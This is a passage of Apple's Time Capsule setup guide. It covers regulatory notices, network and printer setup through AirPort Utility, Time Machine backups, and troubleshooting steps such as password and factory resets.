interference by turning it off. If the interference stops, it was
probably caused by the computer or one of the peripheral devices.
If your computer system does cause interference to radio or
television reception, try to correct the interference by using one or
more of the following measures:
• Turn the television or radio antenna until the interference stops.
• Move the computer to one side or the other of the television
or radio.
• Move the computer farther away from the television or radio.
• Plug the computer into an outlet that is on a different circuit
from the television or radio. (That is, make certain the computer
and the television or radio are on circuits controlled by different
circuit breakers or fuses.)
If necessary, consult an Apple Authorized Service Provider or
Apple. See the service and support information that came with
your Apple product. Or, consult an experienced radio/television
technician for additional suggestions.
Important: Changes or modifications to this product not
authorized by Apple Inc. could void the EMC compliance and
negate your authority to operate the product.
This product was tested for FCC compliance under conditions
that included the use of Apple peripheral devices and Apple
shielded cables and connectors between system components. It
is important that you use Apple peripheral devices and shielded
cables and connectors between system components to reduce
the possibility of causing interference to radios, television sets, and
other electronic devices. You can obtain Apple peripheral devices
and the proper shielded cables and connectors through an Appleauthorized dealer. For non-Apple peripheral devices, contact the
manufacturer or dealer for assistance.
Responsible party (contact for FCC matters only)
Apple Inc. Corporate Compliance
1 Infinite Loop M/S 26-A
Cupertino, CA 95014
Wireless Radio Use
This device is restricted to indoor use when operating in the 5.15 to
5.25 GHz frequency band.
Cet appareil doit être utilisé à l’intérieur.
Exposure to Radio Frequency Energy
The radiated output power of the AirPort Card in this device
is below the FCC and EU radio frequency exposure limits for
uncontrolled equipment. This device should be operated with a
minimum distance of at least 20 cm between the AirPort Card
antennas and a person’s body and must not be co-located or
operated with any other antenna or transmitter subject to the
conditions of the FCC Grant.39
Canadian Compliance Statement
This device complies with Industry Canada license-exempt RSS
standard(s). Operation is subject to the following two conditions:
(1) this device may not cause interference, and (2) this device must
accept any interference, including interference that may cause
undesired operation of the device.
Cet appareil est conforme aux normes CNR exemptes de licence
d’Industrie Canada. Le fonctionnement est soumis aux deux
conditions suivantes : (1) cet appareil ne doit pas provoquer
d’interférences et (2) cet appareil doit accepter toute interférence,
y compris celles susceptibles de provoquer un fonctionnement
non souhaité de l’appareil.
Industry Canada Statement
Complies with the Canadian ICES-003 Class B specifications.
Cet appareil numérique de la classe B est conforme à la norme
NMB-003 du Canada. This device complies with RSS 210 of Industry
Canada.
Europe–EU Declaration of Conformity
Български
Apple Inc. декларира, че това WLAN Access Point е в
съответствие със съществените изисквания и другите
приложими правила на Директива 1999/5/ЕС.
Česky
Společnost Apple Inc. tímto prohlašuje, že tento WLAN Access
Point je ve shodě se základními požadavky a dalšími příslušnými
ustanoveními směrnice 1999/5/ES.
Dansk
Undertegnede Apple Inc. erklærer herved, at følgende udstyr
WLAN Access Point overholder de væsentlige krav og øvrige
relevante krav i direktiv 1999/5/EF.
Deutsch
Hiermit erklärt Apple Inc., dass sich das Gerät WLAN Access Point
in Übereinstimmung mit den grundlegenden Anforderungen
und den übrigen einschlägigen Bestimmungen der Richtlinie
1999/5/EG befinden.
Eesti
Käesolevaga kinnitab Apple Inc., et see WLAN Access Point vastab
direktiivi 1999/5/EÜ põhinõuetele ja nimetatud direktiivist
tulenevatele teistele asjakohastele sätetele.
English
Hereby, Apple Inc. declares that this WLAN Access Point is in
compliance with the essential requirements and other relevant
provisions of Directive 1999/5/EC.
Español
Por medio de la presente Apple Inc. declara que este WLAN
Access Point cumple con los requisitos esenciales y cualesquiera
otras disposiciones aplicables o exigibles de la Directiva
1999/5/CE.
Ελληνικά
Mε την παρούσα, η Apple Inc. δηλώνει ότι αυτή η συσκευή WLAN
Access Point συμμορφώνεται προς τις βασικές απαιτήσεις και τις
λοιπές σχετικές διατάξεις της Οδηγίας 1999/5/ΕΚ.
Français
Par la présente Apple Inc. déclare que l’appareil WLAN Access
Point est conforme aux exigences essentielles et aux autres
dispositions pertinentes de la directive 1999/5/CE.
Islenska
Apple Inc. lýsir því hér með yfir að þetta tæki WLAN Access
Point fullnægir lágmarkskröfum og öðrum viðeigandi ákvæðum
Evróputilskipunar 1999/5/EC.
Italiano
Con la presente Apple Inc. dichiara che questo dispositivo
WLAN Access Point è conforme ai requisiti essenziali ed alle altre
disposizioni pertinenti stabilite dalla direttiva 1999/5/CE.
Latviski
Ar šo Apple Inc. deklarē, ka WLAN Access Point ierīce atbilst
Direktīvas 1999/5/EK būtiskajām prasībām un citiem ar to
saistītajiem noteikumiem.
Lietuvių
Šiuo „Apple Inc.“ deklaruoja, kad šis WLAN Access Point atitinka
esminius reikalavimus ir kitas 1999/5/EB Direktyvos nuostatas.
Magyar
Alulírott, Apple Inc. nyilatkozom, hogy a WLAN Access Point
megfelel a vonatkozó alapvetõ követelményeknek és az
1999/5/EC irányelv egyéb elõírásainak. 40
Malti
Hawnhekk, Apple Inc., jiddikjara li dan WLAN Access Point
jikkonforma mal-ħtiġijiet essenzjali u ma provvedimenti oħrajn
relevanti li hemm fid-Dirrettiva 1999/5/EC.
Nederlands
Hierbij verklaart Apple Inc. dat het toestel WLAN Access Point
in overeenstemming is met de essentiële eisen en de andere
bepalingen van richtlijn 1999/5/EG.
Norsk
Apple Inc. erklærer herved at dette WLAN Access Point -apparatet
er i samsvar med de grunnleggende kravene og øvrige relevante
krav i EU-direktivet 1999/5/EF.
Polski
Niniejszym Apple Inc. oświadcza, że ten WLAN Access Point są
zgodne z zasadniczymi wymogami oraz pozostałymi stosownymi
postanowieniami Dyrektywy 1999/5/EC.
Português
Apple Inc. declara que este dispositivo WLAN Access Point
está em conformidade com os requisitos essenciais e outras
disposições da Directiva 1999/5/CE.
Română
Prin prezenta, Apple Inc. declară că acest aparat WLAN Access
Point este în conformitate cu cerinţele esenţiale şi cu celelalte
prevederi relevante ale Directivei 1999/5/CE.
Slovensko
Apple Inc. izjavlja, da je ta WLAN Access Point skladne z
bistvenimi zahtevami in ostalimi ustreznimi določili direktive
1999/5/ES.
Slovensky
Apple Inc. týmto vyhlasuje, že toto WLAN Access Point spĺňa
základné požiadavky a všetky príslušné ustanovenia Smernice
1999/5/ES.
Suomi
Apple Inc. vakuuttaa täten, että tämä WLAN Access Point
tyyppinen laite on direktiivin 1999/5/EY oleellisten vaatimusten
ja sitä koskevien direktiivin muiden ehtojen mukainen.
Svenska
Härmed intygar Apple Inc. att denna WLAN Access Point står i
överensstämmelse med de väsentliga egenskapskrav och övriga
relevanta bestämmelser som framgår av direktiv 1999/5/EG.
A copy of the EU Declaration of Conformity is available at:
www.apple.com/euro/compliance
This Apple WLAN Access Point can be used in the following
countries:
AT
EE
BG
FI
BE
FR
CY
DE
CZ
GR
DK
HU
IE IT LV LT LU MT
NL PL PT RO SK SL
ES SE GB IS LI NO
CH
Korea Warning Statements
Bૺૺ(ਜ਼ႜဧ෮ቛཅૺၴႁ)
ၦૺૺ௴ਜ਼ႜဧ(B) ႖ၴኒ႕ጁૺૺചച
ਜ਼ႜຫဧዻ௴ઇၕඛ႕ၒചዻඑ, ක౷ხ
ຫဧዾ༘ၰཀఁఋ.
෮ቛ၁ધགྷಋ൏ધხຫጃ
ጄఙඳ໓໕๗௴ဪဧთ႖ኒጯཅਜ਼ໜၦၰၗ
ၦૺૺ௴ၨྦ႖શഏౘ๗༺ຫဧዾ༘࿖ཀఁఋ
ఝዽූ ૬ႜ ෟ ა༘
Singapore Wireless Certification41
Taiwan Wireless Statements
Taiwan Class B Statement
警告
本電池如果更換不正確會有爆炸的危險
請依製造商說明書處理用過之電池
Japan VCCI Class B Statement
Russia
Disposal and Recycling Information
This symbol indicates that your product must be disposed of
properly according to local laws and regulations.When your
product reaches its end of life, contact Apple or your local
authorities to learn about recycling options.
For information about Apple’s recycling program, go to
www.apple.com/recycling.
European Union — Disposal Information
This symbol means that according to local laws and regulations
your product should be disposed of separately from household
waste.When this product reaches its end of life, take it to a
collection point designated by local authorities. Some collection
points accept products for free. The separate collection and
recycling of your product at the time of disposal will help conserve
natural resources and ensure that it is recycled in a manner that
protects human health and the environment.
Türkiye
EEE yönetmeliğine (Elektrikli ve Elektronik Eşyalarda Bazı Zararlı
Maddelerin Kullanımının Sınırlandırılmasına Dair Yönetmelik)
uygundur.42
Brasil—Informações sobre descarte e reciclagem
O símbolo acima indica que este produto e/ou sua bateria não
devem ser descartadas no lixo doméstico. Quando decidir
descartar este produto e/ou sua bateria, faça-o de acordo com
as leis e diretrizes ambientais locais. Para informações sobre o
programa de reciclagem da Apple, pontos de coleta e telefone de
informações, visite www.apple.com/br/environment
Battery Disposal Information
Dispose of batteries according to your local environmental laws
and guidelines.
Deutschland: Dieses Gerät enthält Batterien. Bitte nicht in den
Hausmüll werfen. Entsorgen Sie dieses Gerät am Ende seines
Lebenszyklus entsprechend der maßgeblichen gesetzlichen
Regelungen.
Nederlands: Gebruikte batterijen kunnen worden ingeleverd bij de
chemokar of in een speciale batterijcontainer voor klein chemisch
afval (kca) worden gedeponeerd.
China Battery Statement
Taiwan Battery Statementwww.apple.com/airport
www.apple.com/support/airport
© 2011 Apple Inc. All rights reserved.
Apple, the Apple logo, AirPort, AirPort Express, AirPort Extreme, Apple TV, Bonjour, Finder, iPhone,
iPod touch, Leopard, Mac, Mac OS, Time Capsule, and Time Machine are trademarks of Apple Inc.,
registered in the U.S. and other countries.
iPad is a trademark of Apple Inc.
Other product and company names mentioned herein may be trademarks of their respective companies.
034-5910-A
Printed in XXXX
Time Capsule
Setup Guide3
Contents
5 Chapter 1: Getting Started
7 About Your Time Capsule
8 About the AirPort Software
9 What You Need to Get Started
11 The Time Capsule Status Light
13 Chapter 2: Setting Up Your Time Capsule
14 Using Your Time Capsule to Create Your Wireless Network
17 Using AirPort Utility
19 Creating a New Wireless Network
19 Configuring and Sharing Internet Access
21 Setting Advanced Options
22 Allowing Wireless Clients to Access Your Network Without Entering a Password
23 Using Time Machine with Your Time Capsule
25 Chapter 3: Tips and Troubleshooting
25 If You Can’t Connect to the Internet
25 If You Forgot Your Network Password or Time Capsule Password
26 If Your Time Capsule Isn’t Responding
27 If Your Time Capsule Status Light Flashes Amber4 Contents
28 If Your Printer Isn’t Responding
29 Updating AirPort Software
29 Time Capsule Placement Considerations
30 Items That Can Cause Interference with AirPort
31 Chapter 4: Learning More, Service, and Support
33 Appendix: Time Capsule Specifications and Safety Guidelines
36 Regulatory Compliance Information1
5
1 Getting Started
Congratulations on purchasing your Time Capsule. Read this
guide to get started.
The new Time Capsule offers you the simplicity of fully automated backup for your
Wi-Fi network. Using the Time Machine application in Mac OS X v10.5.2 Leopard or
later, it’s easy and automatic to back up all the computers on your network to a single
Time Capsule.
The Time Capsule is also a fully featured AirPort Extreme Base Station that provides
simultaneous dual-band wireless networking. When you set up your Time Capsule,
it creates two high-speed Wi-Fi networks:
 A 2.4 gigahertz (GHz) network for 802.11b, 802.11g, and 802.11n devices, such as
iPhone, iPod touch, and older computers
 A 5 GHz network for 802.11n and 802.11a devices, such as newer computers and
Apple TV
Wireless devices join the network that provides them the best performance and
compatibility, and the Time Capsule shares your broadband Internet connection with
computers and devices on your network.6 Chapter 1 Getting Started
With your Time Capsule, you can:
 Use the Time Machine application in Mac OS X v10.5.2 (or later) to back up all the
computers on your wireless network, as well as computers connected to your Time
Capsule using Ethernet.
Note: Your first backup with Time Capsule and Time Machine could take overnight or
longer, depending on how much data you’re backing up. To speed up the initial
backup, use an Ethernet cable to connect your computer to the LAN port on your
Time Capsule. For more information about using Time Machine, see “Using Time
Machine with Your Time Capsule” on page 23.
 Create a password-protected wireless home network, and then connect to the
Internet and share the connection with other computers and Wi-Fi devices, such as
iPhone, iPod touch, and Apple TV. You can also share files among computers
connected to the network.
 Create a guest network with or without password protection, to provide Internetonly access to wireless devices, such as computers, iPhone, iPod touch, and Apple TV.
 Connect your Time Capsule to your Ethernet network. Wireless-equipped Macintosh,
Windows XP, or Windows Vista computers can then have access to an entire network
without being connected by a cable.
 Connect a supported USB printer to your Time Capsule. Compatible computers on
the AirPort network, both wireless and wired, can print to it.
 Connect an additional USB hard drive to your Time Capsule. Compatible computers
on the AirPort network, both wireless and wired, can access information on the
hard disk.Chapter 1 Getting Started 7
 Connect a USB hub to your Time Capsule, and then connect multiple USB devices,
such as printers or hard disks. All computers on the network have access to those
devices.
Important: Install AirPort Utility 5.4 from the CD that came with your Time Capsule,
or download it using Software Update. Previous versions of AirPort Setup Assistant and
AirPort Admin Utility are not compatible with this Time Capsule.
About Your Time Capsule
Your Time Capsule has five ports on the back:
 One 10/100/1000Base-T Gigabit Ethernet Wide Area Network (WAN) port for
connecting a DSL or cable modem, or for connecting to an existing Ethernet network
 Three 10/100/1000Base-T Gigabit Ethernet Local Area Network (LAN) ports for
connecting Ethernet devices, such as printers or computers, or for connecting to an
existing Ethernet network 8 Chapter 1 Getting Started
 One USB port for connecting a compatible USB printer, hard drive, or hub for
connecting several devices
The reset button next to the ports is used for troubleshooting your Time Capsule.
The status light on the front shows the current status.
About the AirPort Software
Your Time Capsule works with AirPort Utility, included on the Time Capsule CD.
Install AirPort Utility and follow the instructions on the following pages to set up your
Time Capsule and your AirPort wireless network.
Status light Internet WAN port
Power port
Power cord
USB port Reset button
Ethernet ports
Security slot
Ethernet
activity lightChapter 1 Getting Started 9
Note: You must use AirPort Utility v5.4 to set up your Time Capsule. This Time Capsule
is not compatible with previous versions of AirPort software.
What You Need to Get Started
To use your Time Capsule, you need a wireless-enabled computer that’s compliant with
IEEE 802.11a, 802.11b, or 802.11g standards, or with an IEEE 802.11n draft specification. To
set up your Time Capsule, your computer must meet the requirements listed below.
Note: To use your Time Capsule with Time Machine in Mac OS X Leopard, you need to
use Mac OS X v10.5.2 or later.
To set up your Time Capsule using a Macintosh, you need the following:
 A Macintosh computer with an AirPort or AirPort Extreme Card installed to set it up
wirelessly, or a Macintosh computer connected to your Time Capsule with an
Ethernet cable to set it up using Ethernet
AirPort Utility
Use AirPort Utility to set up your Time Capsule to create a wireless network, connect
to the Internet, and share compatible USB printers and hard disks. You can also
connect your Time Capsule to an existing AirPort Extreme wireless network.
AirPort Utility is also an advanced tool for setting up and managing the Time
Capsule, AirPort Extreme, and AirPort Express Base Stations. Use it to manually adjust
network, routing, and security settings and other advanced options.
Z AirPort status menu
Use the AirPort status menu in the menu bar to switch quickly between AirPort
networks, monitor the signal quality of the current network, create a computer-tocomputer network, and turn AirPort on or off. The status menu is available on
computers using Mac OS X. 10 Chapter 1 Getting Started
 Mac OS X v10.4 or later
 AirPort Utility v5.4 or later
To set up your Time Capsule using a Windows PC, you need the following:
 A Windows PC with 300 MHz or higher processor speed and a compatible 802.11a,
802.11b, or 802.11g wireless card, or a wireless card that complies with an IEEE 802.11n
draft specification
 Windows XP Home or Professional (with Service Pack 2 installed) or Windows Vista
 AirPort Utility v5.4 or later
Plugging In Your Time Capsule
Before you plug in your Time Capsule, first connect the appropriate cables to the ports
you want to use:
 Connect the Ethernet cable that’s connected to your DSL or cable modem (if you will
connect to the Internet) to the Ethernet WAN (<) port.
 Connect a USB cable connected from the USB (d) port on your Time Capsule to a
compatible USB printer (if you will print to a USB printer), a hard disk, or a hub.
 Connect an Ethernet cable from any Ethernet device to the Ethernet LAN (G) ports.
After you’ve connected the cables for all the devices you plan to use, connect the
power cord to the power port and plug your Time Capsule into a power outlet. There is
no power switch.
Important: Use only the power cord that came with your Time Capsule.Chapter 1 Getting Started 11
When you plug your Time Capsule into a power outlet, the status light flashes green
for one second and then glows amber while your Time Capsule starts up. After your
Time Capsule has started up completely, the status light flashes amber until your Time
Capsule has been updated with the correct settings. The status light glows solid green
after your Time Capsule is properly set up and connected to the Internet or a network.
When you connect Ethernet cables to the Ethernet ports, the lights above them glow
solid green.
The Time Capsule Status Light
The following table explains the Time Capsule light sequences and what they indicate.
Light Status/description
Off Your Time Capsule is unplugged.
Solid amber Your Time Capsule is completing its startup sequence.
Flashing amber Your Time Capsule can’t establish a connection to the network
or the Internet, or is encountering a problem. Make sure you
have installed AirPort Utility and use it to get information about
what might cause the status light to flash amber. See “If Your
Time Capsule Status Light Flashes Amber” on page 27.
Solid green Your Time Capsule is on and working properly. If you choose
Flash On Activity from the Status Light pop-up menu (in the
Base Station pane of AirPort settings in AirPort Utility), the status
light may flash green to indicate normal activity.
Flashing amber and green There may be a problem starting up. Your Time Capsule will
restart and try again.12 Chapter 1 Getting Started
What’s Next
After you plug in your Time Capsule, use AirPort Utility to set it up to work with
your Internet connection, USB printer or hard disk, or an existing network. AirPort
Utility is located in the Utilities folder in the Applications folder on a computer using
Mac OS X, and in Start > All Programs > AirPort on a computer using Windows XP or
Windows Vista.
Solid blue Your Time Capsule is ready to allow a wireless client access to
the network. See “Allowing Wireless Clients to Access Your
Network Without Entering a Password” on page 22.
Light Status/description2
13
2 Setting Up Your Time Capsule
This chapter provides information and instructions for
connecting your Time Capsule to the Internet, and using
AirPort Utility to set it up to create or join a wireless network.
This chapter provides an overview of connecting your Time Capsule to the
Internet, and using the setup assistant in AirPort Utility to set up your network
and other features of your Time Capsule. For more information about wireless
networking, and for information about the advanced features of AirPort Utility, refer
to “Designing AirPort Networks Using AirPort Utility (Mac OS X v10.5 + Windows)” at
www.apple.com/support/airport.
After you install AirPort Utility from the CD that came with your Time Capsule, you can
do most of your network setup and configuration tasks using the setup assistant in
AirPort Utility. To set advanced options, choose Manual Setup from the Base Station
menu of AirPort Utility. See “Setting Advanced Options” on page 21.14 Chapter 2 Setting Up Your Time Capsule
Using Your Time Capsule to Create Your Wireless Network
When you set up your Time Capsule to provide network and Internet access, the
following computers and devices can access the wireless AirPort network to share files,
play games, and use Internet applications such as web browsers and email
applications:
 Macintosh computers with AirPort or AirPort Extreme Cards
 802.11a, 802.11b, 802.11g, and IEEE 802.11n draft specification wireless-equipped
computers
 Other Wi-Fi devices
Computers connected to your Time Capsule using Ethernet can also access the
network to share files and connect to the Internet.
With Mac OS X v10.5.2 or later you can set up Time Machine to back up all the
computers on the network to your Time Capsule. See “Using Time Machine with Your
Time Capsule” on page 23 for more information.
When you connect a compatible USB printer to your Time Capsule, supported
computers on the network (wired and wireless) can print to it.Chapter 2 Setting Up Your Time Capsule 15
Using Time Capsule to create a wireless network
To set it up:
1 Connect your DSL or cable modem to your Time Capsule using the Ethernet WAN (<)
port.
to Internet
DSL or cable modem
< Internet WAN port
Shared printer
Time Capsule
to USB ports
2.4 or 5 GHz 2.4 GHz
2.4 or 5 GHz16 Chapter 2 Setting Up Your Time Capsule
2 If you plan to share a USB printer on the network, connect it to the Time Capsule USB
(d) port or to a USB hub, using a USB cable.
3 Open AirPort Utility (located in the Utilities folder in the Applications folder on a
computer using Mac OS X, and in Start > All Programs > AirPort on a computer using
Windows), select your Time Capsule, and then click Continue.
4 Follow the onscreen instructions to create a new network.
To print from a computer using Mac OS X v10.5:
1 Choose Apple > System Preferences, and then click Print & Fax.
2 Click Add (+) and select your printer from the list.
3 Click the Add button.
If your printer isn’t in the list, use the buttons in the toolbar to search for it.
To print from a computer using Mac OS X v10.3 or 10.4:
1 Open Printer Setup Utility (located in the Utilities folder in the Applications folder).
2 Select the printer from the list.
If the printer isn’t in the list, click Add and choose Bonjour from the pop-up menu, and
then select the printer from the list.
To print from a computer using Windows XP or Windows Vista:
1 Install Bonjour for Windows from the CD that came with your Time Capsule.
2 Follow the onscreen instructions to connect to your printer.
Computers using AirPort or other compatible wireless cards or adapters can connect to
the Internet through your Time Capsule. Computers connected to the Time Capsule
Ethernet ports can also access the network and connect to the Internet.Chapter 2 Setting Up Your Time Capsule 17
Wireless computers and computers connected to the Ethernet ports can also
communicate with each other through your Time Capsule.
Using AirPort Utility
To set up and configure your Time Capsule, use the setup assistant in AirPort Utility.
AirPort Utility is installed on your computer when you install the software from the
Time Capsule CD.
On a Macintosh computer using Mac OS X v10.4 or later:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder.
2 Select your Time Capsule and click Continue.
If you don’t see the Time Capsule you want to configure, click Rescan to scan for
available wireless devices, and then select your Time Capsule from the list.
3 Follow the onscreen instructions to set up your Time Capsule and your wireless
network.
On a computer using Windows XP (with Service Pack 2) or Windows Vista:
1 Open AirPort Utility, located in Start > All Programs > AirPort.
2 Select your Time Capsule and click Continue.18 Chapter 2 Setting Up Your Time Capsule
3 Follow the onscreen instructions to set up your Time Capsule and your wireless
network.
The AirPort Utility setup assistant asks you questions about the type of network you
want to use and the services you want to set up, and helps you enter the appropriate
settings.
If you’re using your Time Capsule to connect to the Internet, you need a broadband
(DSL or cable modem) account with an Internet service provider (ISP), or a connection
to the Internet using an existing Ethernet network. If you received specific information
from your ISP (such as a static IP address or a DHCP client ID), you may need to enter it
in AirPort Utility. Have this information available when you set up your Time Capsule.Chapter 2 Setting Up Your Time Capsule 19
Creating a New Wireless Network
You can use the AirPort Utility setup assistant to create a new wireless network. The
setup assistant guides you through the steps necessary to name your network, protect
your network with a password, and set other options.
If you plan to share a USB printer or USB hard disk on your network:
1 Connect the printer or hard disk to the Time Capsule USB (d) port.
2 Open AirPort Utility, located in the Utilities folder in the Applications folder on a
Macintosh, or in Start > All Programs > AirPort on a computer using Windows XP.
3 Select your Time Capsule and click Continue.
If you don’t see the Time Capsule you want to configure, click Rescan to scan for
available wireless devices, and then select your Time Capsule from the list.
4 Follow the onscreen instructions to create a new network.
Configuring and Sharing Internet Access
If you plan to share your Internet connection with wireless-enabled computers on your
network or with computers connected to the Ethernet ports, you need to set up your
Time Capsule as an AirPort Base Station. After your Time Capsule is set up, computers
access the Internet through the AirPort network. Your Time Capsule connects to the
Internet and transmits information to the computers over the wireless network.
Before you use AirPort Utility to set up your Time Capsule, connect your DSL or cable
modem to the Time Capsule Ethernet WAN (<) port. If you’re connecting your Time
Capsule to an Ethernet network that already has Internet access, connect it to the
Ethernet network.20 Chapter 2 Setting Up Your Time Capsule
Use the AirPort Utility setup assistant to enter your ISP settings and configure how your
Time Capsule shares the settings with other computers.
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a
computer using Mac OS X, or in Start > All Programs > AirPort on a computer using
Windows XP.
2 Select your Time Capsule and click Continue.
If you’re making changes to a Time Capsule that has already been set up,
you might have to connect to the network it’s created before making changes
to the Time Capsule.
To choose the wireless network you want to change on a Macintosh, use the AirPort
status menu in the menu bar. On a computer using Windows XP, hold the pointer over
the wireless connection icon until you see the network name (SSID), and then choose it
from the list if there are multiple networks available.
3 Follow the onscreen instructions to configure and share Internet access on your
Time Capsule.
AirPort Utility provides a quick and easy way to set up your Time Capsule and network.
If you want to set additional options for your network, such as restricting access to your
network or setting advanced DHCP options, choose Manual Setup from the Base
Station menu of AirPort Utility. Chapter 2 Setting Up Your Time Capsule 21
Setting Advanced Options
Use AirPort Utility to set up your Time Capsule manually if you want to set advanced
Time Capsule options such as advanced security options, closed networks, DHCP lease
time, access control, power controls, user accounts, and more.
To set advanced options:
1 Open AirPort Utility, located in the Utilities folder in the Applications folder on a
Macintosh, and in Start > All Programs > AirPort on a computer using Windows XP.
2 If there’s more than one wireless device in the list, select the one you want to
configure. If you don’t see the Time Capsule you want to configure, click Rescan to scan
for available wireless devices, and then select your Time Capsule from the list.
If you’re making changes to a Time Capsule that has already been set up, you might
have to connect to the network it’s created before making changes to your Time
Capsule.
To choose the wireless network you want to change, on a Macintosh use the AirPort
status menu in the menu bar. On a computer using Windows XP, hold the pointer over
the wireless connection icon until you see the network name (SSID), and then choose it
from the list if there are multiple networks available.
3 Choose Manual Setup from the Base Station menu. If you’re prompted for a password,
enter it.
For more about the manual setup features in AirPort Utility, see “Designing AirPort
Networks Using AirPort Utility (Mac OS X v10.5 + Windows)” at www.apple.com/
support/airport.22 Chapter 2 Setting Up Your Time Capsule
Allowing Wireless Clients to Access Your Network Without
Entering a Password
If your network is password-protected using WPA Personal or WPA/WPA2 Personal, you
can provide wireless clients access to your network without requiring them to enter the
network password.
When you allow a client access to your network, the client’s name and wireless MAC
address (or AirPort ID) are stored in the access control list of AirPort Utility until you
remove the client from the list. You can also provide 24 hours of access, after which
time the client will no longer be able to access your network.
When you give a client access to your wireless network, the client doesn’t need to enter
the network password.
To allow a client to access your network without entering the network password:
1 Open AirPort Utility, select your Time Capsule, and then choose Manual Setup from the
Base Station menu. Enter the password if necessary.
2 Choose Add Wireless Clients from the Base Station menu.
3 Select how you want the client to access the network:
 Select PIN to enter the eight-digit number provided by the client requesting network
access.
 Select “First attempt” to allow network access to the first client attempting to join the
network.
While the Time Capsule waits for a client to join the network, the LED glows blue.Chapter 2 Setting Up Your Time Capsule 23
Select “Limit client’s access to 24 hours” if you want to provide just one day of access to
your network. If you don’t select this option, the client will have access until you
remove the client from the list.
Using Time Machine with Your Time Capsule
With the Time Machine application in Mac OS X Leopard you can back up everything
on your computer, including your photos, music, movies, and documents.
After you set up Time Machine, it automatically backs up your computer on a regular
basis.
If you’re using Mac OS X v10.5.2 or later, the first time you connect to your Time
Capsule, Time Machine asks if you’d like to use it to back up your files. Click “Use as
Backup Disk,” and Time Machine takes care of the rest.
Use the Time Machine pane of System Preferences in Mac OS X Leopard to set up
automatic backups, change to a different backup disk, or adjust other settings.
To set up or adjust Time Machine on a computer using Mac OS X Leopard:
1 Choose Apple > System Preferences, and then click Time Machine.
2 Slide the switch to ON.
3 Click Change Disk.
4 Choose your Time Capsule and click “Use for Backup.”24 Chapter 2 Setting Up Your Time Capsule
Your first backup with Time Capsule and Time Machine could take overnight or longer,
depending on how much data you’re backing up. To speed up the initial backup,
connect your Time Capsule to your computer using Ethernet. In each subsequent
backup, Time Machine backs up only files that have changed since the previous
backup, so the backups don’t take as long.
Time Capsule is a great wireless backup solution for portable computers. Since the
first backup can take some time, plug your portable into a power adapter—this
conserves battery power and guarantees that backups won’t be interrupted. Also,
for the best wireless performance, place your portable computer in the same room as
your Time Capsule.
If you shut down your Mac or put it to sleep during a backup, Time Machine stops the
backup and then continues from where it left off after your Mac starts up again.
For more information about Time Machine, choose Help > Mac Help from the Finder
menu on a computer using Mac OS X Leopard, and then type Time Machine in the
search field.3
25
3 Tips and Troubleshooting
You can quickly solve most problems with your Time Capsule
by following the advice in this chapter.
If You Can’t Connect to the Internet
 Try connecting to the Internet directly from your computer. If you can’t connect,
check to make sure your network settings are correct. If they appear to be correct
and you still can’t connect, contact your Internet service provider (ISP).
 Make sure you’re connecting to the correct wireless network.
If You Forgot Your Network Password or Time Capsule
Password
You can clear the AirPort network password or Time Capsule password by resetting
your Time Capsule.
To reset the Time Capsule password:
1 Use something pointed (such as a ballpoint pen) to press and hold down the reset
button for one second.
Important: If you hold the reset button for more than one second, you may lose your
network settings.26 Chapter 3 Tips and Troubleshooting
2 Select your AirPort network.
 On a Macintosh, use the AirPort status menu in the menu bar to select the network
created by your Time Capsule (the network name doesn’t change).
 On a computer using Windows XP, hold the pointer over the wireless connection icon
until you see your AirPort network name (SSID), and choose it from the list if there
are multiple networks available.
3 Open AirPort Utility (in the Utilities folder in the Applications folder on a Macintosh,
and in Start > All Programs > AirPort on a computer using Windows XP).
4 Select your Time Capsule, and then choose Manual Setup from the Base Station menu.
5 Click AirPort in the toolbar, and then click Base Station.
6 Enter a new password for your Time Capsule.
7 Click Wireless and choose an encryption method from the Wireless Security pop-up
menu to turn on encryption and activate password protection for your AirPort network.
If you turn on encryption, enter a new password for your AirPort network.
8 Click Update to restart your Time Capsule and load the new settings.
If Your Time Capsule Isn’t Responding
Try unplugging it and plugging it back in.
If your Time Capsule stops responding completely, you may need to reset it to the
factory default settings.
Important: Resetting your Time Capsule to factory default settings erases all of the
current settings and resets them to the settings that came with your Time Capsule.Chapter 3 Tips and Troubleshooting 27
To return your Time Capsule to the factory settings:
m Use something pointed (such as a ballpoint pen) to press down and hold the reset
button until the status light flashes quickly (about 5 seconds).
Your Time Capsule resets with the following settings:
 Your Time Capsule receives its IP address using DHCP.
 The network name is reset to Apple Network XXXXXX (where XXXXXX is replaced
with the last six digits of the AirPort ID).
 The Time Capsule password is reset to public.
If your Time Capsule still isn’t responding, try the following:
1 Unplug your Time Capsule.
2 Use something pointed to press and hold down the reset button while you plug in
your Time Capsule.
If Your Time Capsule Status Light Flashes Amber
The Ethernet cable may not be connected properly, your Time Capsule may be out of
range of an AirPort network, or there may be a problem with your Internet service
provider. If you’re connected to the Internet with a DSL or cable modem, the modem
may have lost its connection to the network or the Internet. Even if the modem seems
to be working properly, try disconnecting it from its power supply, waiting a few
seconds, and then reconnecting it. Make sure your Time Capsule is connected directly
to the modem via Ethernet before reconnecting power to the modem.28 Chapter 3 Tips and Troubleshooting
For more information about why the light is flashing, open AirPort Utility, select your
Time Capsule, and then choose Manual Setup from the Base Station menu. Click Base
Station Status to display information about the flashing light.
You can also select “Monitor base station for problems” in AirPort preferences. If the
base station has a problem, AirPort Utility opens and walks you through solving the
problem.
If Your Printer Isn’t Responding
If you connected a printer to the USB port on your Time Capsule and the computers on
the AirPort network can’t print, try the following:
1 Make sure the printer is plugged in and turned on.
2 Make sure the cables are securely connected to the printer and to the Time Capsule
USB port.
3 Make sure the printer is selected in the Printer List window on client computers.
On a Macintosh using Mac OS X v10.5 or later:
 Choose Apple > System Preferences, and then click Print & Fax.
 Click Add (+) and select your printer in the list, and then click Add (+).
On a Macintosh using Mac OS X v10.2.7 or later:
 Open Printer Setup Utility, located in the Utilities folder in the Applications folder.
 If the printer isn’t in the list, click Add.
 Choose Bonjour from the pop-up menu, select the printer and click Add (+).Chapter 3 Tips and Troubleshooting 29
On a computer using Windows XP:
 Open “Printers and Faxes” from the Start menu.
 Select the printer. If the printer isn’t in the list, click Add Printer and then follow the
onscreen instructions.
4 Turn off the printer, wait a few seconds, and then turn it back on.
Updating AirPort Software
Apple periodically updates AirPort software. It is recommended that you update your
Time Capsule to use the latest software.
You can select “Check for updates when opening AirPort Utility,” or “Check for updates”
in AirPort preferences. If you select “Check for updates,” choose an increment of time,
such as weekly, from the pop-up menu to automatically check for updates.
Time Capsule Placement Considerations
The following recommendations can help your Time Capsule achieve the best wireless
range and network coverage.
